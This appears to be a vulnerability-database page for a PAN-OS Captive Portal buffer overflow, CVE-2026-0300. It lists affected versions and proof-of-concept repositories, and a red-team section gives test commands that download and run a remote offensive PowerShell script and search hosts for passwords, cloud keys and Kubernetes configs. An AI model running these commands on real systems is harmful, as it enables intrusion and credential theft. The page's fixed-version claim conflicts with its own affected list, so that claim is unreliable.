CVE-2026-0300
Overview
This vulnerability is a buffer overflow in the User-ID™ Authentication Portal component of Palo Alto Networks PAN-OS software. The root cause is improper handling of specially crafted packets within the Captive Portal service, leading to memory corruption. The flaw exists in the packet processing logic of the User-ID Authentication Portal on PA-Series and VM-Series firewalls running affected PAN-OS versions.
Vulnerability Description
A buffer overflow vulnerability in the User-ID™ Authentication Portal (aka Captive Portal) service of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to execute arbitrary code with root privileges on the PA-Series and VM-Series firewalls by sending specially crafted packets. The risk of this issue is greatly reduced if you secure access to the User-ID™ Authentication Portal per the best practice guidelines https://knowledgebase.paloaltonetworks.com/KCSArticleDetail by restricting access to only trusted internal IP addresses. Prisma Access, Cloud NGFW and Panorama appliances are not impacted by this vulnerability.
Impact
An unauthenticated attacker can remotely execute arbitrary code with root privileges on affected firewalls by exploiting this buffer overflow. No authentication or user interaction is required to trigger the vulnerability. Successful exploitation results in full system compromise, enabling attackers to control firewall functions, potentially disrupt network security, and access sensitive traffic data. This can lead to lateral movement within the network and compromise of protected assets.
Solution
Apply the patches provided by Palo Alto Networks as detailed in their security advisory at https://security.paloaltonetworks.com/CVE-2026-0300. Specifically, update PAN-OS on PA-Series and VM-Series firewalls to versions later than 10.2.4 where the vulnerability is fixed. Additionally, restrict access to the User-ID Authentication Portal to trusted internal IP addresses as a temporary mitigation until patching is completed.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (163)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Paloaltonetworks | Pan-Os | 10.2.0 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.1 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.1:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.2 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.3 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.4 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.4:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.5 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.5:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.6 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.6:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:-:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h1:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h12:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h16:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h19:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h21:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h24:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h3:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h32:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h6:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h8:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.8 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | 10.2.9 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (12)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
p3Nt3st3r-sTAr/CVE-2026-0300-POC
|
p3Nt3st3r-sTAr | 22 | 11 | 2026-05-06 | View |
|
matad0r-maghribi/CVE-2026-0300-PANOS
Security Research and Proof-of-Concept (PoC) for CVE-2026-0300 : Unauthenticated Remote Code Execution (RCE) in Palo Alt...
|
matad0r-maghribi | 4 | 0 | 2026-05-06 | View |
|
qassam-315/PAN-OS-User-ID-Buffer-Overflow-PoC
A research-grade Proof-of-Concept (PoC) for CVE-2026-0300, targeting the Buffer Overflow vulnerability in Palo Alto Netw...
|
qassam-315 | 3 | 0 | 2026-05-06 | View |
|
ridhinva/panos-captive-portal-rce
Scanner: CVE-2026-0300 PAN-OS User-ID Captive Portal Buffer Overflow RCE — Python CLI for detecting actively exploited B...
|
ridhinva | 2 | 0 | 2026-05-22 | View |
|
mr-r3b00t/CVE-2026-0300
a honeypot for CVE-2026-0300
|
mr-r3b00t | 1 | 1 | 2026-05-06 | View |
|
bannned-bit/CVE-2026-0300-PANOS
Security Research and Proof-of-Concept (PoC) for CVE-2026-0300 : Unauthenticated Remote Code Execution (RCE) in Palo Alt...
|
bannned-bit | 1 | 0 | 2026-05-06 | View |
|
shizuku198411/CVE-2026-0300
PAN-OS CVE-2026-0300 Non-Destructive Exposure Survey Tool
|
shizuku198411 | 1 | 0 | 2026-05-06 | View |
|
0xBlackash/CVE-2026-0300
CVE-2026-0300
|
0xBlackash | 0 | 1 | 2026-05-06 | View |
|
sam00/POC-CVE-2026-0300-exploit
Palo Alto - CVE-2026-0300 exploit
|
sam00 | 0 | 0 | 2026-08-06 | View |
|
ridhinva/CVE-2026-0300-PANOS-RCE
PAN-OS User-ID Captive Portal Buffer Overflow RCE Scanner & Checker
|
ridhinva | 0 | 0 | 2026-05-22 | View |
|
lu4m575/CVE-2026-0300
CVE-2026-0300 PAN-OS 12.1, 11.2, 11.1, 10.2
|
lu4m575 | 0 | 0 | 2026-05-21 | View |
|
TailwindRG/cve-2026-0300-audit
Read-only audit tooling for CVE-2026-0300 (PAN-OS User-ID Authentication Portal exposure)
|
TailwindRG | 0 | 0 | 2026-05-06 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 46 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-0300 |
| security.paloaltonetworks.com |
GitHub CVE
vendor-advisory
|
https://security.paloaltonetworks.com/CVE-2026-0300 |
| cert-portal.siemens.com |
NVD API
Third Party Advisory
|
https://cert-portal.siemens.com/productcert/html/ssa-967325.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-0300 |